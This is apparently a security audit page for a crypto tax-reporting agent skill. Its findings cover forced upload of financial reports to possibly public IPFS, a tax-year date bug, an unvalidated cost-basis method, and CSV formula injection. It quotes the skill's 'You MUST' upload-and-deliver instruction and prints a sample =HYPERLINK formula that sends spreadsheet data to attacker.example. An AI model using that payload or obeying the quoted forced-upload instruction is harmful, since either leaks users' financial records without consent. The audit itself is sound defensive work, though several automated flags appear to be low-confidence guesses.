Back to skill

Security audit

XPR Crypto Tax

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its crypto tax-reporting purpose, but it requires external delivery of sensitive tax reports and CSVs without clear consent or privacy controls.

Review this skill before installing if you will use it with real financial records. Confirm where store_deliverable stores files, whether URLs are public or permanent, and require explicit approval before uploading reports or CSVs. Treat generated CSVs as untrusted when opening them in spreadsheet software, and verify tax calculations with a professional before relying on them.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (4)

other

Error
Location
SKILL.md:86
Finding
Mandatory External Delivery May Expose Sensitive Financial Reports<![CDATA[ ## Vulnerability Details **File Location**: `SKILL.md:86-91` **Vulnerability Type**: Sensitive Financial Data Exposure **Risk Level**: High ### Vulnerable Instructions ```markdown 1. Upload `report_markdown` via `store_deliverable` with `content_type: "application/pdf"` — this is the primary deliverable 2. Upload `csv_exports.disposals` via `store_deliverable` with `content_type: "text/csv"` — disposals CSV 3. Upload `csv_exports.income` via `store_deliverable` with `content_type: "text/csv"` — income events CSV 4. Call `xpr_deliver_job` with ALL URLs comma-separated (PDF first): `"https://ipfs.io/ipfs/QmPDF...,https://ipfs.io/ipfs/QmDisposals...,https://ipfs.io/ipfs/QmIncome..."` **IMPORTANT:** You MUST complete ALL steps (upload + deliver) in a single run. Do NOT stop after uploading the PDF — you must also upload the CSVs and call `xpr_deliver_job`. The job is not complete until `xpr_deliver_job` is called. ``` ### Technical Analysis The instructions require the agent to upload all generated tax artifacts and deliver their URLs without first obtaining explicit informed consent. These artifacts contain sensitive financial information, including the user's XPR account identifier, balance snapshots, taxable income, gains and losses, transaction identifiers, asset quantities, and income events. The example uses public IPFS gateway URLs. If `store_deliverable` publishes artifacts to a public or content-addressed storage system, the resulting records may be publicly retrievable and difficult or impossible to delete. Although report delivery is related to the declared functionality, unconditional external publication exceeds the minimum privilege necessary to calculate and present a tax report. The TypeScript implementation itself does not invoke `store_deliverable` or `xpr_deliver_job`; the exposure arises from the mandatory workflow imposed on the calling agent. ### Attack Path 1. A user requests a tax report for an XPR account. 2. The Skill r ...[truncated 996 chars]
Remediation
<![CDATA[ ## Remediation Suggestions - Require explicit, informed user confirmation before uploading any report or CSV. - Clearly disclose the storage provider, public visibility, retention period, deletion capability, and URL-sharing model. - Default to returning the report directly in the session or storing it in private, access-controlled storage. - Do not use public IPFS for tax records unless the user explicitly requests it after receiving a privacy warning. - Encrypt artifacts before external storage and deliver decryption material through a separate protected channel. - Apply short-lived signed URLs and strict access controls where supported. - Allow users to deliver only selected artifacts rather than mandating all files. - Remove the instruction that report generation is incomplete until external upload and delivery occur. ]]>

T09 · Insecure Skill Coding Practices

Error
Location
src/index.ts:85
Finding
Incorrect US Tax-Year Calculation Collects and Processes Two Calendar Years<![CDATA[ ## Vulnerability Details **File Location**: `src/index.ts:85-93` **Vulnerability Type**: Incorrect Tax-Period Boundary Calculation **Risk Level**: High ### Vulnerable Code ```ts function getTaxYearDates(taxYear: number, region: RegionConfig): { start: string; end: string } { const { start_month, start_day } = region.tax_year; // Tax year "2025" in NZ = Apr 1, 2024 – Mar 31, 2025 const startYear = start_month > 1 ? taxYear - 1 : taxYear; const endYear = start_month > 1 ? taxYear : taxYear + 1; const endMonth = start_month - 1 || 12; const endDay = new Date(endYear, endMonth, 0).getDate(); // last day of end month const start = `${startYear}-${String(start_month).padStart(2, '0')}-${String(start_day).padStart(2, '0')}T00:00:00.000Z`; const end = `${endYear}-${String(endMonth).padStart(2, '0')}-${String(endDay).padStart(2, '0')}T23:59:59.999Z`; return { start, end }; } ``` The same behavior is present in the compiled runtime artifact at `dist/index.js:39-46`. ### Technical Analysis For the United States configuration, `start_month` is January (`1`). Given tax year `2024`, the function computes: - `startYear = 2024` - `endYear = 2025` - `endMonth = 12` - Resulting interval: `2024-01-01` through `2025-12-31` The documented US tax year is a single calendar year, so the expected end date is `2024-12-31`. The generated interval therefore includes an unnecessary additional year. This interval is subsequently used to retrieve transfer history and filter DEX trades. The defect violates data minimization by collecting more financial activity than requested and materially compromises report accuracy. ### Attack Path 1. A user requests a US report with `tax_year: 2024`. 2. `getTaxYearDates` returns an end date of December 31, 2025. 3. The report handler sends the expanded date interval to the history API and filters DEX data using it. 4. Transactions from both 2024 and 2025 are incorporated into calculations. 5. The generated report pr ...[truncated 621 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Calculate the end instant as the moment immediately before the next tax-year start instead of using a special-case year expression. For example: ```ts function getTaxYearDates(taxYear: number, region: RegionConfig) { const { start_month, start_day } = region.tax_year; const startYear = start_month > 1 ? taxYear - 1 : taxYear; const startDate = new Date(Date.UTC(startYear, start_month - 1, start_day)); const nextStartDate = new Date( Date.UTC(startYear + 1, start_month - 1, start_day) ); const endDate = new Date(nextStartDate.getTime() - 1); return { start: startDate.toISOString(), end: endDate.toISOString(), }; } ``` Additionally: - Add tests for US 2024: `2024-01-01` through `2024-12-31`. - Add tests for NZ 2025: `2024-04-01` through `2025-03-31`. - Test leap years and non-first-day tax-year configurations. - Validate the computed interval is approximately one year and reject anomalous ranges. - Rebuild `dist/index.js` from the corrected source. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/index.ts:1747
Finding
Report Generator Silently Falls Back to FIFO for Invalid Cost-Basis Methods<![CDATA[ ## Vulnerability Details **File Location**: `src/index.ts:1747-1749` **Vulnerability Type**: Missing Accounting-Method Validation **Risk Level**: Medium ### Vulnerable Code The report handler derives the caller-controlled method without validating it at `src/index.ts:1392`: ```ts const costMethod = (method || 'fifo').toLowerCase(); ``` It later treats every value other than `average` as FIFO: ```ts const gains = costMethod === 'average' ? calculateGainsAverage(tradeEvents, transferEvents, rates, regionConfig.currency) : calculateGainsFIFO(tradeEvents, transferEvents, rates, regionConfig.currency); ``` The supplied value is subsequently recorded as the report method at `src/index.ts:1942`: ```ts method: costMethod, ``` ### Technical Analysis `tax_calculate_gains` validates its method against `regionConfig.cost_basis_methods`, but `tax_generate_report` does not apply the same validation. Consequently, misspelled or unsupported values such as `averg`, `lifo`, or arbitrary strings cause FIFO calculations while the report metadata displays the invalid caller-provided method. This is a fail-open behavior affecting the integrity and auditability of a tax artifact. The calculated method and labeled method can differ, preventing users and tax professionals from reliably determining how the figures were produced. ### Attack Path 1. A caller supplies an invalid or misspelled `method` to `tax_generate_report`. 2. The handler normalizes the string but does not validate it. 3. Because the value is not exactly `average`, the handler executes the FIFO calculation. 4. The report records and displays the invalid supplied value rather than `FIFO`. 5. The user may believe a different accounting method was used and rely on incorrect or misleading output. ### Impact Assessment The vulnerability does not provide additional machine or network privileges. Its scope is report integrity: - The generated report can misrepresent the accounting method used. - T ...[truncated 201 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Apply the same fail-closed validation used by `tax_calculate_gains` before any report processing: ```ts const costMethod = (method || 'fifo').toLowerCase(); if (!regionConfig.cost_basis_methods.includes(costMethod)) { return { error: `Method "${costMethod}" not supported for ${regionConfig.code}. Supported: ${regionConfig.cost_basis_methods.join(', ')}`, }; } ``` Also: - Define the parameter schema with an explicit enum such as `["fifo", "average"]`. - Store the method returned by the selected calculation routine rather than the unchecked input. - Add tests for unsupported values, casing, empty strings, and typographical errors. - Ensure report Markdown, structured metadata, CSV output, and calculation logic all identify the same method. - Rebuild the compiled artifact after correcting the source. ]]>

T09 · Insecure Skill Coding Practices

Warning
Location
src/index.ts:1762
Finding
Unescaped Report Fields Permit Spreadsheet Formula Injection<![CDATA[ ## Vulnerability Details **File Location**: `src/index.ts:1762-1775` **Vulnerability Type**: CSV Formula Injection **Risk Level**: Medium ### Vulnerable Code ```ts const disposalCsv = [ 'Date,Asset,Amount,Proceeds,Cost Basis,Gain/Loss,Method,TX ID', ...gains.disposals.map(d => `${d.date},${d.asset},${d.amount},${d.proceeds_local.toFixed(2)},${d.cost_basis_local.toFixed(2)},${d.gain_loss_local.toFixed(2)},${d.method},${d.tx_id || ''}` ), ].join('\n'); const incomeCsv = [ 'Date,Category,Asset,Amount,Value,TX ID', ...gains.income_events.map(e => `${e.date},${e.category},${e.asset},${e.amount},${e.value_local.toFixed(2)},${e.tx_id || ''}` ), ].join('\n'); ``` ### Technical Analysis CSV cells are generated through direct string interpolation. The implementation neither performs RFC 4180 quoting nor neutralizes values beginning with spreadsheet formula prefixes such as `=`, `+`, `-`, or `@`. The report handler permits callers to provide precomputed `trades` and `transfers`. Several values derived from those records—including date, asset, category, and transaction identifier—can reach the CSV output. A crafted cell such as `=HYPERLINK("https://attacker.example/?data="&A1)` may be interpreted as a formula when the exported file is opened in spreadsheet software. Unescaped commas, quotes, and line breaks can also alter the CSV structure, create additional cells or rows, and undermine report integrity. ### Attack Path 1. An attacker or untrusted integration supplies a precomputed trade or transfer containing a formula-prefixed field. 2. `tax_generate_report` accepts and normalizes the record without strict field validation. 3. The field reaches a disposal or income event. 4. CSV generation inserts the value verbatim into a cell. 5. The generated CSV is delivered to the user. 6. The user opens it in spreadsheet software. 7. The spreadsheet evaluates the attacker-controlled formula, potentially triggering an external request or expos ...[truncated 570 chars]
Remediation
<![CDATA[ ## Remediation Suggestions Use a well-tested CSV serializer and escape every field. At minimum: 1. Convert each value to a string. 2. Neutralize cells whose first non-whitespace character is `=`, `+`, `-`, or `@`. 3. Escape embedded double quotes by doubling them. 4. Wrap all fields in double quotes. 5. Reject unexpected control characters and line breaks where fields have strict formats. Example: ```ts function csvCell(value: unknown): string { let text = String(value ?? ''); if (/^[\t\r\n ]*[=+\-@]/.test(text)) { text = `'${text}`; } return `"${text.replace(/"/g, '""')}"`; } const row = [ d.date, d.asset, d.amount, d.proceeds_local.toFixed(2), d.cost_basis_local.toFixed(2), d.gain_loss_local.toFixed(2), d.method, d.tx_id || '', ].map(csvCell).join(','); ``` Additionally: - Enforce strict allowlists for asset symbols, categories, dates, methods, and transaction IDs. - Reject fields containing unexpected delimiters or control characters. - Add tests for formula prefixes, commas, quotes, CRLF sequences, and Unicode whitespace. - Document that CSV exports must be treated as untrusted input by downstream spreadsheet applications. ]]>
Vulnerability Patterns
  • Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
  • Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
  • MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
  • Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (15)

Credential Access

High
Category
Privilege Escalation
Content
- **Saltant API** — historical balance snapshots (liquid, staked, lending, yield farm)
- **Metal X API** — DEX trade history in CSV format (only filled trades)
- **Hyperion API** — raw on-chain transfer/action history
- **CoinGecko API** — historical and current crypto prices (set `COINGECKO_API_KEY` in .env for full historical access)

### Transfer Categories
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Credential Access

High
Category
Privilege Escalation
Content
- **Saltant API** — historical balance snapshots (liquid, staked, lending, yield farm)
- **Metal X API** — DEX trade history in CSV format (only filled trades)
- **Hyperion API** — raw on-chain transfer/action history
- **CoinGecko API** — historical and current crypto prices (set `COINGECKO_API_KEY` in .env for full historical access)

### Transfer Categories
Confidence
60% confidence
Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.

Lp3

Medium
Category
MCP Least Privilege
Confidence
89% confidence
Finding
The skill declares network and environment-related capabilities implicitly but does not constrain them with an explicit tool scope or allowed-tools list. That increases the chance of unintended tool access or capability creep, which is especially risky in a skill that handles financial data and later instructs external uploads.

Description-Behavior Mismatch

Medium
Confidence
97% confidence
Finding
The documentation states that all tools are read-only, but the workflow later requires uploading files and calling a delivery action. This mismatch can mislead operators and reviewers into underestimating the skill's ability to transmit data externally, creating consent and security risks around sensitive tax information.

Intent-Code Divergence

Medium
Confidence
98% confidence
Finding
The claim that all tools are read-only is directly contradicted by later mandatory upload and delivery instructions. Contradictory security-relevant documentation is dangerous because users may trust the earlier statement and unknowingly authorize exfiltration of financial records.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The skill instructs uploading tax reports and CSV exports to external storage/delivery endpoints without a user-facing warning about sending sensitive financial information. Tax reports can contain wallet history, balances, gains, and income events, so transmitting them without clear disclosure or consent creates a significant privacy and data-handling risk.

External Transmission

Medium
Category
Data Exfiltration
Content
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

External Transmission

Medium
Category
Data Exfiltration
Content
function getCoinGeckoConfig() {
    const apiKey = process.env.COINGECKO_API_KEY || '';
    if (!apiKey) {
        return { baseUrl: 'https://api.coingecko.com/api/v3', headers: {}, hasKey: false };
    }
    if (apiKey.startsWith('CG-')) {
        // Pro API key
Confidence
60% confidence
Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.

Missing User Warnings

Medium
Confidence
95% confidence
Finding
The report-generation tool automatically transmits the supplied account identifier and associated activity lookups to multiple external services (Saltant, MetalX, and potentially CoinGecko-derived pricing paths) without any explicit consent, disclosure, or host allowlisting visible at the tool boundary. Even if the data is blockchain-related and partly public, bundling account-linked tax activity through third-party endpoints can expose sensitive financial profiling and may violate user expectations or privacy requirements.

Intent-Code Divergence

Medium
Confidence
99% confidence
Finding
The header comment explicitly says 'All tools are read-only (query APIs + calculate),' which contradicts the later use of fs.mkdirSync and fs.writeFileSync to persist rate data. This is an active contradiction in the skill's own documentation about side effects.

Description-Behavior Mismatch

Medium
Confidence
97% confidence
Finding
The module doc comment states 'All tools are read-only' and the manifest describes tax reporting, but the implementation adds filesystem-based persistence by loading and saving a JSON cache. This goes beyond purely querying APIs and calculating results because it modifies local state on disk across runs.

Natural-Language Policy Violations

Medium
Confidence
96% confidence
Finding
Line L1789 formats all currency values with `toLocaleString('en-NZ', ...)`, which forces a specific locale even when the user selected `US` via the region parameter. This is a natural-language locale policy issue because the skill imposes a locale without user opt-in or justification.

Natural-Language Policy Violations

Low
Confidence
98% confidence
Finding
The formatter uses toLocaleString('en-NZ', ...) for currency presentation regardless of the selected region or any user locale preference. This forces a specific language/locale choice in natural-language output and can conflict with organizational policy requiring user choice or justified locale constraints.

Static analysis

Detected: suspicious.env_credential_access

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
dist/index.js:80

Environment variable access combined with network send.

Critical
Code
suspicious.env_credential_access
Location
src/index.ts:134